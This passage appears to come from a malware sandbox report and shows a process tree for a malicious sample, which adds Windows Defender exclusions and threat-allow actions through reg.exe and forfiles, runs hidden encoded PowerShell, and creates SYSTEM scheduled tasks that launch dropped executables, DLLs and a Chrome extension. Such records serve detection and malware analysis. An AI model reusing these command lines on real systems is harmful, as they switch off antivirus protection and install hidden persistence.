                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:32
                                                                                                                3⤵
                                                                                                                  PID:3056
                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:64
                                                                                                                  3⤵
                                                                                                                    PID:4908
                                                                                                                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                  powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\BeEwQyQINcRtuKICoSR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\BeEwQyQINcRtuKICoSR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\REeMUtPoCvFU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\REeMUtPoCvFU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\RcAuZGsZhuUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\RcAuZGsZhuUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\kLpsRMujXEpbC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\kLpsRMujXEpbC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\tffvHWJZU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\tffvHWJZU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\NGysLhxJEZNwhMVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\NGysLhxJEZNwhMVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\OCvADAshLKsLAwgHj\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\OCvADAshLKsLAwgHj\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\mrYrpJCpOmktZWwz\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\mrYrpJCpOmktZWwz\" /t REG_DWORD /d 0 /reg:64;"
                                                                                                                  2⤵
                                                                                                                  • Drops file in System32 directory
                                                                                                                  • Modifies data under HKEY_USERS
                                                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                                  PID:2844
                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                    "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\BeEwQyQINcRtuKICoSR" /t REG_DWORD /d 0 /reg:32
                                                                                                                    3⤵
                                                                                                                      PID:4668
                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\BeEwQyQINcRtuKICoSR" /t REG_DWORD /d 0 /reg:32
                                                                                                                        4⤵
                                                                                                                          PID:3524
                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\BeEwQyQINcRtuKICoSR" /t REG_DWORD /d 0 /reg:64
                                                                                                                        3⤵
                                                                                                                          PID:3636
                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\REeMUtPoCvFU2" /t REG_DWORD /d 0 /reg:32
                                                                                                                          3⤵
                                                                                                                            PID:1144
                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\REeMUtPoCvFU2" /t REG_DWORD /d 0 /reg:64
                                                                                                                            3⤵
                                                                                                                              PID:4488
                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\RcAuZGsZhuUn" /t REG_DWORD /d 0 /reg:32
                                                                                                                              3⤵
                                                                                                                                PID:596
                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\RcAuZGsZhuUn" /t REG_DWORD /d 0 /reg:64
                                                                                                                                3⤵
                                                                                                                                  PID:4456
                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\kLpsRMujXEpbC" /t REG_DWORD /d 0 /reg:32
                                                                                                                                  3⤵
                                                                                                                                    PID:2316
                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\kLpsRMujXEpbC" /t REG_DWORD /d 0 /reg:64
                                                                                                                                    3⤵
                                                                                                                                      PID:2068
                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\tffvHWJZU" /t REG_DWORD /d 0 /reg:32
                                                                                                                                      3⤵
                                                                                                                                        PID:4380
                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\tffvHWJZU" /t REG_DWORD /d 0 /reg:64
                                                                                                                                        3⤵
                                                                                                                                          PID:376
                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\NGysLhxJEZNwhMVB /t REG_DWORD /d 0 /reg:32
                                                                                                                                          3⤵
                                                                                                                                            PID:1212
                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\NGysLhxJEZNwhMVB /t REG_DWORD /d 0 /reg:64
                                                                                                                                            3⤵
                                                                                                                                              PID:348
                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
                                                                                                                                              3⤵
                                                                                                                                                PID:3648
                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                3⤵
                                                                                                                                                  PID:3624
                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\OCvADAshLKsLAwgHj /t REG_DWORD /d 0 /reg:32
                                                                                                                                                  3⤵
                                                                                                                                                    PID:2796
                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\OCvADAshLKsLAwgHj /t REG_DWORD /d 0 /reg:64
                                                                                                                                                    3⤵
                                                                                                                                                      PID:4436
                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\mrYrpJCpOmktZWwz /t REG_DWORD /d 0 /reg:32
                                                                                                                                                      3⤵
                                                                                                                                                        PID:3656
                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\mrYrpJCpOmktZWwz /t REG_DWORD /d 0 /reg:64
                                                                                                                                                        3⤵
                                                                                                                                                          PID:4888
                                                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                        schtasks /CREATE /TN "gXUXqySJY" /SC once /ST 13:35:27 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                                                                                                                                                        2⤵
                                                                                                                                                        • Creates scheduled task(s)
                                                                                                                                                        PID:4524
                                                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                        schtasks /run /I /tn "gXUXqySJY"
                                                                                                                                                        2⤵
                                                                                                                                                          PID:4968
                                                                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                          schtasks /DELETE /F /TN "gXUXqySJY"
                                                                                                                                                          2⤵
                                                                                                                                                            PID:3452
                                                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                            schtasks /CREATE /TN "WFVPvOFzrjCnPPlbL" /SC once /ST 16:24:22 /RU "SYSTEM" /TR "\"C:\Windows\Temp\mrYrpJCpOmktZWwz\vkQZSkunSJsHwFm\zcPGbPn.exe\" 7d /xsmYdidlX 525403 /S" /V1 /F
                                                                                                                                                            2⤵
                                                                                                                                                            • Drops file in Windows directory
                                                                                                                                                            • Creates scheduled task(s)
                                                                                                                                                            PID:2600
                                                                                                                                                            • C:\Windows\System32\Conhost.exe
                                                                                                                                                              \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                              3⤵
                                                                                                                                                                PID:4368
                                                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                              schtasks /run /I /tn "WFVPvOFzrjCnPPlbL"
                                                                                                                                                              2⤵
                                                                                                                                                                PID:2776
                                                                                                                                                                • C:\Windows\System32\Conhost.exe
                                                                                                                                                                  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                  3⤵
                                                                                                                                                                    PID:4272
                                                                                                                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                                                                                                                                                                C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
                                                                                                                                                                1⤵
                                                                                                                                                                • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                PID:4764
                                                                                                                                                                • C:\Windows\system32\gpupdate.exe
                                                                                                                                                                  "C:\Windows\system32\gpupdate.exe" /force
                                                                                                                                                                  2⤵
                                                                                                                                                                    PID:4500
                                                                                                                                                                • C:\Windows\system32\svchost.exe
                                                                                                                                                                  C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
                                                                                                                                                                  1⤵
                                                                                                                                                                    PID:4828
                                                                                                                                                                  • \??\c:\windows\system32\svchost.exe
                                                                                                                                                                    c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s fhsvc
                                                                                                                                                                    1⤵
                                                                                                                                                                      PID:4464
                                                                                                                                                                    • \??\c:\windows\system32\gpscript.exe
                                                                                                                                                                      gpscript.exe /RefreshSystemParam
                                                                                                                                                                      1⤵
                                                                                                                                                                        PID:1836
                                                                                                                                                                      • C:\Windows\Temp\mrYrpJCpOmktZWwz\vkQZSkunSJsHwFm\zcPGbPn.exe
                                                                                                                                                                        C:\Windows\Temp\mrYrpJCpOmktZWwz\vkQZSkunSJsHwFm\zcPGbPn.exe 7d /xsmYdidlX 525403 /S
                                                                                                                                                                        1⤵
                                                                                                                                                                        • Checks computer location settings
                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                        • Drops Chrome extension
                                                                                                                                                                        • Drops file in System32 directory
                                                                                                                                                                        • Drops file in Program Files directory
                                                                                                                                                                        • Modifies data under HKEY_USERS
                                                                                                                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                        PID:2700
                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                          "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                                                                                                                                          2⤵
                                                                                                                                                                            PID:2760
                                                                                                                                                                            • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                              forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
                                                                                                                                                                              3⤵
                                                                                                                                                                                PID:2020
                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                  /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                                                                                                                                                  4⤵
                                                                                                                                                                                    PID:3628
                                                                                                                                                                                    • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                                      reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                                                                                                                                                      5⤵
                                                                                                                                                                                        PID:3828
                                                                                                                                                                                  • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                    forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
                                                                                                                                                                                    3⤵
                                                                                                                                                                                      PID:1396
                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                                                                                                                                                        4⤵
                                                                                                                                                                                          PID:3764
                                                                                                                                                                                          • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                                            reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                                                                                                                                                            5⤵
                                                                                                                                                                                              PID:2492
                                                                                                                                                                                        • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                          forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
                                                                                                                                                                                          3⤵
                                                                                                                                                                                            PID:4228
                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                              /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                                                                                                                                                              4⤵
                                                                                                                                                                                                PID:788
                                                                                                                                                                                                • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                                                  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                    PID:2264
                                                                                                                                                                                              • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
                                                                                                                                                                                                3⤵
                                                                                                                                                                                                  PID:2864
                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                    /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                      PID:1704
                                                                                                                                                                                                      • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                                                        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                                                                                                                                                                        5⤵
                                                                                                                                                                                                          PID:1204
                                                                                                                                                                                                    • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                      forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                        PID:3760
                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                          /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                            PID:3896
                                                                                                                                                                                                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                              powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                                                                                                                                                                              5⤵
                                                                                                                                                                                                              • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                              • Drops file in System32 directory
                                                                                                                                                                                                              • Modifies data under HKEY_USERS
                                                                                                                                                                                                              • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                              PID:596
                                                                                                                                                                                                              • C:\Windows\SysWOW64\gpupdate.exe
                                                                                                                                                                                                                "C:\Windows\system32\gpupdate.exe" /force
                                                                                                                                                                                                                6⤵
                                                                                                                                                                                                                  PID:4436
                                                                                                                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                          schtasks /DELETE /F /TN "butYHpXTvMdZIJsEKZ"
                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                            PID:5024
                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                            "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True" &
                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                              PID:4136
                                                                                                                                                                                                              • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                                forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True"
                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                  PID:4520
                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                    /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                      PID:1848
                                                                                                                                                                                                                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                        powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
                                                                                                                                                                                                                        5⤵
                                                                                                                                                                                                                        • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                        • Drops file in System32 directory
                                                                                                                                                                                                                        • Modifies data under HKEY_USERS
                                                                                                                                                                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                        PID:3840
                                                                                                                                                                                                                        • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                                                                                                                                                                                                          "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
                                                                                                                                                                                                                          6⤵
                                                                                                                                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                          PID:2948
                                                                                                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                  schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\tffvHWJZU\pFTPFi.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "oiGBDDjiIQmhwtu" /V1 /F
                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                  • Drops file in Windows directory
                                                                                                                                                                                                                  • Creates scheduled task(s)
                                                                                                                                                                                                                  PID:4968
                                                                                                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                  schtasks /CREATE /TN "oiGBDDjiIQmhwtu2" /F /xml "C:\Program Files (x86)\tffvHWJZU\SZjKgih.xml" /RU "SYSTEM"
                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                  • Creates scheduled task(s)
                                                                                                                                                                                                                  PID:4328
                                                                                                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                  schtasks /END /TN "oiGBDDjiIQmhwtu"
                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                    PID:4824
                                                                                                                                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                    schtasks /DELETE /F /TN "oiGBDDjiIQmhwtu"
                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                      PID:4180
                                                                                                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                      schtasks /CREATE /TN "mVOvxPujqogGhF" /F /xml "C:\Program Files (x86)\REeMUtPoCvFU2\JmAbooC.xml" /RU "SYSTEM"
                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                      • Creates scheduled task(s)
                                                                                                                                                                                                                      PID:4420
                                                                                                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                      schtasks /CREATE /TN "PuKixiXcCNlkt2" /F /xml "C:\ProgramData\NGysLhxJEZNwhMVB\vfATdjS.xml" /RU "SYSTEM"
                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                      • Creates scheduled task(s)
                                                                                                                                                                                                                      PID:4936
                                                                                                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                      schtasks /CREATE /TN "PNkVCGbsoOwbzBvhS2" /F /xml "C:\Program Files (x86)\BeEwQyQINcRtuKICoSR\ySDpotB.xml" /RU "SYSTEM"
                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                      • Creates scheduled task(s)
                                                                                                                                                                                                                      PID:4692
                                                                                                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                      schtasks /CREATE /TN "OEjxyANCnYwFWrViDzJ2" /F /xml "C:\Program Files (x86)\kLpsRMujXEpbC\ydQQvhR.xml" /RU "SYSTEM"
                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                      • Creates scheduled task(s)
                                                                                                                                                                                                                      PID:316
                                                                                                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                      schtasks /CREATE /TN "dSPsRFCNvoTMekFez" /SC once /ST 14:14:21 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\mrYrpJCpOmktZWwz\JqyvxXHT\gSWqlPF.dll\",#1 /TQdidUKKG 525403" /V1 /F
                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                      • Drops file in Windows directory
                                                                                                                                                                                                                      • Creates scheduled task(s)
                                                                                                                                                                                                                      PID:1820
                                                                                                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                      schtasks /run /I /tn "dSPsRFCNvoTMekFez"
                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                        PID:3000
                                                                                                                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                        schtasks /DELETE /F /TN "WFVPvOFzrjCnPPlbL"
                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                          PID:1992
                                                                                                                                                                                                                      • \??\c:\windows\system32\rundll32.EXE
                                                                                                                                                                                                                        c:\windows\system32\rundll32.EXE "C:\Windows\Temp\mrYrpJCpOmktZWwz\JqyvxXHT\gSWqlPF.dll",#1 /TQdidUKKG 525403
                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                          PID:4992
                                                                                                                                                                                                                          • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                                                            c:\windows\system32\rundll32.EXE "C:\Windows\Temp\mrYrpJCpOmktZWwz\JqyvxXHT\gSWqlPF.dll",#1 /TQdidUKKG 525403
                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                            • Blocklisted process makes network request
                                                                                                                                                                                                                            • Checks BIOS information in registry
                                                                                                                                                                                                                            • Loads dropped DLL
                                                                                                                                                                                                                            • Drops file in System32 directory
                                                                                                                                                                                                                            • Enumerates system info in registry
                                                                                                                                                                                                                            PID:4524
                                                                                                                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
